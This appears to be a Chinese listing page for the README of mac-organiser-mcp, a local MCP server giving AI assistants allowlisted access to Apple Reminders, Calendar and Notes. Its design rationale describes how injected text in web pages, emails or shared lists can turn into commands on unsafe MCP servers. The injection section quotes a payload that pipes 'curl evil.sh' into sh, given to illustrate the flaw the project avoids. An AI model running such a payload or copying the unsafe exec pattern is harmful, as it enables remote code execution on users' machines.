关于 mac-organiser-mcp
mac-organiser-mcp 是一个本地 MCP 服务,可供 AI 助手管理 Apple 提醒事项、日历和备忘录。它通过应用开关、允许列表和固定脚本限制数据暴露,并避免将输入当作代码执行。
主要功能
- 01读取和管理提醒事项
- 02读取和管理日历事件
- 03查找和编辑纯文本备忘录
- 04允许列表控制应用、列表、日历和文件夹
- 05写入可配置;删除需显式启用
适用场景
- 01查看即将到来的日程和提醒
- 02在允许的列表中创建或更新事项
- 03搜索并维护 AI 文件夹中的备忘录
MCP 相关
通过本地 stdio 向 MCP 客户端提供提醒事项、日历和备忘录工具。各应用默认关闭,允许列表控制可见数据。
配置
本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。
工具
本地服务需要在你的电脑上运行后才能读取工具,维护者暂未提供工具列表。
详细介绍
Mac Organiser MCP
按你的方式,为 AI 助手管理提醒事项、日历和备忘录。
只访问你选择的列表、日历和文件夹。不会有其他内容离开应用。
为什么
大多数 Apple MCP 服务会把模型发送的内容直接粘贴到 AppleScript 或 shell 命令中。这意味着模型读取的任何文本,例如网页、电子邮件,或其他人可以编辑的共享提醒事项列表,都可能变成以你的身份运行的命令。它们还往往会把所有内容都交给模型:每条提醒事项、每份备忘录、每个日历。
这个项目在这两方面都采取了相反的做法:
- 🔒 模型发送的任何内容都不会作为代码运行。 每个应用都有一段固定脚本,你的数据只会作为值传递给它。
- 🫥 你的助手只能看到你允许的内容。 允许列表以外的列表、日历和文件夹会直接在应用内部过滤,因此它们不会到达服务端,更不会到达模型。
- ✉️ 不会执行任何对外操作。 它不能邀请任何人、通知任何人,也不会从互联网加载任何内容。
重要
工具返回的任何内容都会作为对话的一部分发送给你的模型提供商。允许列表是你控制可能包含哪些内容的主要手段,因此请尽量严格设置。
每个应用默认关闭,启用后才会开启。可以按应用关闭写入操作,删除操作始终需要选择启用。
| 工具 | 功能 | ||
|---|---|---|---|
| ✅ | list_reminder_lists | 你已允许访问的列表名称 | 读取 |
get_reminders | 默认获取未完成的提醒事项,也可指定一个列表 | 读取 | |
search_reminders | 按标题搜索(如果已启用,也会搜索备注),不区分大小写 | 读取 | |
create_reminder | 标题、列表、备注、截止日期、优先级 | 写入 | |
update_reminder | 重命名、重新安排、清除截止日期、调整优先级、标记为完成 | 写入 | |
delete_reminder | 永久删除 | 选择启用 | |
| 📅 | list_calendars | 你已允许访问的日历,以及所属账户和是否可写 | 读取 |
get_events | 指定日期范围内的事件,将重复事件展开为实际发生的事件 | 读取 | |
create_event | 定时或全天事件,可添加位置和备注。不会添加参与者 | 写入 | |
update_event | 编辑单个事件,或重复系列中的单次事件 | 写入 | |
delete_event | 删除单个事件或单次事件 | 选择启用 | |
| 🗒️ | list_note_folders | 你已允许访问的文件夹 | 读取 |
find_notes | 仅显示标题,按最新优先排序,可选文本搜索 | 读取 | |
get_note | 笔记的纯文本内容(长度有限制) | 读取 | |
create_note | 新建纯文本笔记 | 写入 | |
append_to_note | 在纯文本笔记末尾添加文本 | 写入 |
日期采用 ISO 8601 格式:2026-10-29、2026-10-29T14:00(你的本地时间)或 2026-10-29T14:00+11:00。
默认保护隐私
| 默认状态 | 使用以下设置启用 | |
|---|---|---|
| 暴露的应用 | 无 | MAC_ORGANISER_APPS=reminders,calendar,notes |
| 可见日历 | 无(必须加入允许列表) | CALENDAR_CALENDARS="Work,Home",或使用 * 表示全部 |
| 可见笔记文件夹 | 无(必须加入允许列表) | NOTES_FOLDERS="AI",或使用 * 表示全部 |
| 提醒事项备注 | 从不返回 | REMINDERS_ALLOW_NOTES=1,然后在每次调用中设置 includeNotes |
| 事件位置、备注、URL | 从不返回 | CALENDAR_ALLOW_DETAILS=1,然后在每次调用中设置 includeDetails |
| 已完成的提醒事项 | 隐藏 | 在每次调用中设置 completed: true |
| 笔记内容 | 仅可通过 get_note 获取,每次一篇 | |
| 删除工具 | 不会暴露 | REMINDERS_ALLOW_DELETE=1、CALENDAR_ALLOW_DELETE=1 |
**无论如何设置,都不会返回:**事件参与者、提醒事项的创建和修改日期、最近删除笔记文件夹,以及锁定笔记的内容。
快速开始
要求
| macOS | 14 Sonoma 或更高版本(Calendar 使用 EventKit 的完整访问 API) |
| Node.js | 20 或更高版本 |
| 客户端 | 任何能够启动本地(stdio)服务的 MCP 客户端。参见兼容的客户端 |
安装
无需安装:MCP 客户端会通过 npm 使用 npx -y mac-organiser-mcp 运行程序,如下方配置所示。
改为从源码运行
git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcp
cd ~/repos/mac-organiser-mcp
npm ci
npm run build
然后使用 node 和 dist/index.js 的完整路径,替代 npx 和 -y mac-organiser-mcp。
这是一个标准的 Model Context Protocol 服务,通过 stdio 在本地运行,因此不绑定任何特定的助手。每个客户端都需要相同的三项内容:命令 npx、参数 -y mac-organiser-mcp,以及作为环境变量的设置。
| 客户端 | 配置文件位置 |
|---|---|
| Claude Code | claude mcp add(见下文) |
| Claude Desktop | ~/Library/Application Support/Claude/claude_desktop_config.json |
| Cursor | ~/.cursor/mcp.json |
| Windsurf | ~/.codeium/windsurf/mcp_config.json |
| VS Code(Agent 模式) | 工作区中的 .vscode/mcp.json,或用户级 mcp.json |
| OpenAI Codex CLI | ~/.codex/config.toml |
| ChatGPT app | ❌ 不支持:ChatGPT 仅通过 HTTP 连接远程服务 |
警告
你可以将本地 MCP 服务置于公共 HTTPS 隧道后,让 ChatGPT 能够访问它,但**不要对这个服务这样做。**这会让你的 Reminders、Calendar 和 Notes 暴露在互联网端点上,与此设计的初衷背道而驰。
Claude Code
claude mcp add -s user mac-organiser \
-e MAC_ORGANISER_APPS=reminders,calendar,notes \
-e REMINDERS_LISTS="Reminders,Groceries" \
-e CALENDAR_CALENDARS="Work,Home" \
-e NOTES_FOLDERS="AI" \
-- npx -y mac-organiser-mcp
Claude Desktop · Cursor · Windsurf
这三者都使用相同的 mcpServers 格式:
{
"mcpServers": {
"mac-organiser": {
"command": "npx",
"args": ["-y", "mac-organiser-mcp"],
"env": {
"MAC_ORGANISER_APPS": "reminders,calendar,notes",
"REMINDERS_LISTS": "Reminders,Groceries",
"CALENDAR_CALENDARS": "Work,Home",
"NOTES_FOLDERS": "AI"
}
}
}
}
重要
- GUI 应用不会加载你的 shell
PATH。如果 Node 来自 nvm、fnm 或 asdf,请将"command"设为which npx的输出(例如/Users/you/.nvm/versions/node/v22.x.x/bin/npx)。- Claude Desktop 只会在启动时读取配置,因此编辑后请完全退出(⌘Q)并重新打开。
VS Code
VS Code 使用 servers 和显式的 type:
{
"servers": {
"mac-organiser": {
"type": "stdio",
"command": "npx",
"args": ["-y", "mac-organiser-mcp"],
"env": {
"MAC_ORGANISER_APPS": "reminders,calendar,notes",
"REMINDERS_LISTS": "Reminders,Groceries",
"CALENDAR_CALENDARS": "Work,Home",
"NOTES_FOLDERS": "AI"
}
}
}
}
OpenAI Codex CLI
[mcp_servers.mac-organiser]
command = "npx"
args = ["-y", "mac-organiser-mcp"]
[mcp_servers.mac-organiser.env]
MAC_ORGANISER_APPS = "reminders,calendar,notes"
REMINDERS_LISTS = "Reminders,Groceries"
CALENDAR_CALENDARS = "Work,Home"
NOTES_FOLDERS = "AI"
配置格式会随客户端版本变化;如果格式不匹配,请查阅相应客户端的 MCP 文档。
提示
专门设立一个 Notes 文件夹(比如 AI)很适合作为允许列表:助手可以在其中读写内容,而你的其他笔记仍不可访问。
权限
macOS 会在每个应用首次使用时询问一次。点击 允许。
| 应用 | 查看位置 |
|---|---|
| Reminders、Notes | 系统设置 › 隐私与安全性 › 自动化 |
| Calendar | 系统设置 › 隐私与安全性 › 日历(完全访问权限) |
| Reminders,仅用于清除到期日期 | 系统设置 › 隐私与安全性 › 提醒事项(完全访问权限) |
说明
这些权限属于宿主应用(Terminal、Cursor、VS Code、Claude Desktop……),而不是此服务。在该应用中运行的任何其他内容也会获得相同的访问权限。首次调用 Calendar 时,会等待最多 40 秒,供你回应提示。
所有配置都通过环境变量设置。标志值可设为 1、true 或 yes。
| 变量 | 默认值 | |
|---|---|---|
MAC_ORGANISER_APPS | (无) | 逗号分隔:reminders、calendar、notes |
REMINDERS_LISTS | 所有列表 | 列表名称白名单;* 表示全部 |
REMINDERS_ALLOW_NOTES | 关闭 | 允许模型请求提醒事项备注 |
REMINDERS_READ_ONLY | 关闭 | 隐藏创建和更新操作 |
REMINDERS_ALLOW_DELETE | 关闭 | 暴露 delete_reminder |
REMINDERS_MAX_RESULTS | 50 | 最多 500 |
CALENDAR_CALENDARS | 必填 | 日历名称或 ID;* 表示全部 |
CALENDAR_ALLOW_DETAILS | 关闭 | 允许模型请求地点、备注和 URL |
CALENDAR_READ_ONLY | 关闭 | 隐藏创建和更新操作 |
CALENDAR_ALLOW_DELETE | 关闭 | 暴露 delete_event |
CALENDAR_MAX_RESULTS | 100 | 最多 1000 |
NOTES_FOLDERS | 必填 | 文件夹名称;* 表示全部 |
NOTES_READ_ONLY | 关闭 | 隐藏创建和追加操作 |
NOTES_MAX_RESULTS | 50 | 最多 500 |
NOTES_MAX_CHARS | 20000 | get_note 返回的最长文本,最多 200000 |
如果启用了某个应用,但没有设置其必需的白名单,该应用将保持关闭状态,服务会在 stderr 中说明原因。
工作原理
flowchart LR
client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod
subgraph server["Mac Organiser MCP · Node"]
zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]
exec["execFile osascript<br/>no shell"]
zod --> exec
end
subgraph mac["Inside the Apple app"]
script["Fixed JXA script<br/>request arrives as one JSON value"]
filter{"In your<br/>allowlist?"}
data[("Reminders · Calendar · Notes")]
script --> filter
filter -->|yes| data
filter -.->|no: 'not found'| script
end
exec -->|argv| script
data -->|only allowed fields| exec
exec -->|result| client
为什么无法发生注入
常见做法是根据模型的文本构建脚本,因此多余的 ' 或 " 会让数据变成代码:
// ❌ What many Apple MCP servers do
exec(`osascript -e 'set name of r to "${name}"'`);
// name = `x'; curl evil.sh | sh; #` → runs curl
这里的脚本文本始终不变。请求会作为独立参数传递,不经过 shell,并且始终只作为数据读取:
// ✅ Mac Organiser MCP
execFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);
// Inside SCRIPT
function run(argv) { return handle(JSON.parse(argv[0])); }
实时测试套件会发送这些载荷以及其他载荷,并检查它们是否以纯文本形式存储。
引擎
| 应用 | 引擎 | 原因 |
|---|---|---|
| Reminders | Reminders 脚本(JXA) | 批量处理时速度足够快。对于脚本无法完成的一项操作——清除截止日期——则使用 EventKit |
| Calendar | 通过 JXA ObjC 桥接使用 EventKit | 比对 Calendar.app 使用脚本快得多,而且能正确展开重复事件 |
| Notes | Notes 脚本(JXA) | Notes 没有公开框架 |
基本原则
每项更改都必须遵守以下原则。
- 绝不根据输入构建代码。 脚本是固定文本;请求只以数据形式传递。
- 在源头过滤。 白名单和字段限制在 Apple 应用内部执行,因此隐藏数据不会到达 Node、日志或模型。
- 白名单以外的内容一律视为“未找到”。 读取和写入操作均如此,且不会暗示该内容存在。
- 不执行任何对外操作。 不添加与会者、不发送邀请或更新邮件,也不进行网络调用。此处的与会者事件只能读取。
- 绝不销毁无法恢复的内容。 删除操作必须主动启用。绝不覆盖或删除 Notes;修改重复事件时也始终一次只修改一个实例。
- 文本始终是文本。 Notes 内容会进行 HTML 转义,因此模型无法添加链接、标记或跟踪图像。
- 验证所有内容。 在运行任何操作之前检查 ID、日期、优先级和长度,作为第二道防线。
- 依赖项固定。 使用锁文件锁定确切版本,只有两个运行时依赖项,不含安装脚本。
- **备忘录:**无法编辑或删除。只能通过替换备忘录的整个正文来脚本化处理,这可能会丢失附件、清单和表格。因此,
append_to_note会拒绝处理包含附件、列表、表格或图片的备忘录。 - **日历:**新建事件时无法设置重复规则,也无法在此处更改或删除包含参会者的事件。请使用 Calendar.app 处理这些事件。
- **提醒事项:**不支持子任务、标签、标记或位置;脚本接口未提供这些功能。
- **重名:**如果两个日历同名,请使用
list_calendars返回的日历 ID。两个同名的备忘录文件夹需要重命名。 - 仅限 macOS,且 Mac 必须处于唤醒状态:所有操作都在本地运行。
开发
| 命令 | 作用 |
|---|---|
npm run build | 将 TypeScript 编译到 dist/ |
npm start | 通过 stdio 运行服务 |
npm run test:live | 针对真实应用运行端到端测试(见下文) |
实时测试
npm run build && npm run test:live
测试套件会创建一个名为 MCP Test 的提醒事项列表、日历和备忘录文件夹,将所有允许列表锁定到这些项目,并通过真实的 MCP 客户端运行全部 16 个工具:共 43 项检查,包括注入载荷、允许列表绕过、重复事件实例和清除截止日期。测试完成后会删除这些测试数据;如果已有任何名为 MCP Test 的项目,则不会启动。不会读取你的其他数据。
目录结构
src/
index.ts Registers each enabled app
config.ts Environment variables and their defaults
osascript.ts Runs a fixed JXA script with one JSON argument; shared helpers
reminders.ts Reminders tools and script
calendar.ts Calendar tools and EventKit script
notes.ts Notes tools and script
test/
live.mjs End-to-end suite over MCP
fixtures.js Creates and removes the MCP Test fixtures
许可证
MIT © 2026 Nick Sullivan
评论
一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。